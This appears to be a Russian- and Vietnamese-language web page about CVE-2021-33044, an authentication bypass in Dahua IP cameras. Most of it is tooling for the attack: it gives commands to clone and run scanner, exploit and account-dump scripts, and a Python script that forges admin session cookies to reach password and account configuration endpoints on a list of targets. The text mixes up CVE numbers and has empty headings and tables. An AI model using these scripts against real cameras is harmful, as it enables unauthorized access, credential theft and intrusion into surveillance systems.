
Camera Dahua Research lỗ hổng CVE-2021-33044
IP-камеры Dahua — это IoT-устройства, широко используемые в системах видеонаблюдения. Поскольку они часто развертываются в локальных сетях или имеют доступ из Интернета, уязвимости в IP-камерах могут серьезно повлиять на конфиденциальность и безопасность информации.
CVE-2021-33045 — это уязвимость безопасности, существующая в некоторых моделях камер Dahua, позволяющая несанкционированный доступ к внутренним конфигурационным ресурсам без надлежащей аутентификации. Эта уязвимость связана с недостаточно строгим контролем доступа в прошивке устройства.
| Пункт | Содержание |
|---|---|
| CVE | CVE-2021-33044 |
| Тип | Authentication Bypass |
| Степень | Critical (CVSS ~9.8) |
| Аутентификация | Не требуется |
| Влияние | Dahua Camera / DVR / NVR |
Уязвимость возникает из-за небезопасной конструкции аутентификации в прошивке камер Dahua:
Это позволяет атакующему:
Ссылки:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
| Файл |
|---|
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Стандартные порты Dahua: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
Скрипт использует библиотеку requests и активно отключает предупреждения SSL для подавления предупреждений.
Функция dump_accounts(ip, port=80) является основной функцией, отвечающей за проверку одного устройства камеры.
Основные функции функции:
Имитация cookie аутентификации. Функция использует значения cookie, например:
userName=adminuserLevel=1sessionID=00000000В уязвимых версиях камер бэкенд не проверяет фактический sessionID, в результате чего система считает, что запрос отправлен от действительной учетной записи администратора.
Скрипт читает список целей из входного файла, последовательно вызывая функцию проверки для каждого устройства. Такой подход позволяет автоматически оценивать множество камер.
Эти скрипты разработаны на основе:
Статус тестирования:
Этот проект:
| Назначение |
|---|
| CVE |
|---|
dahua_scanner.py | Обнаружение сети — поиск камер Dahua в подсети | Обнаружение |
dahua_exploit.py | Много-CVE сканер — проверка всех уязвимостей. | Все |
dahua_auth_bypass.py | Специализированный обход аутентификации с опцией --dump | CVE-2021-33044 |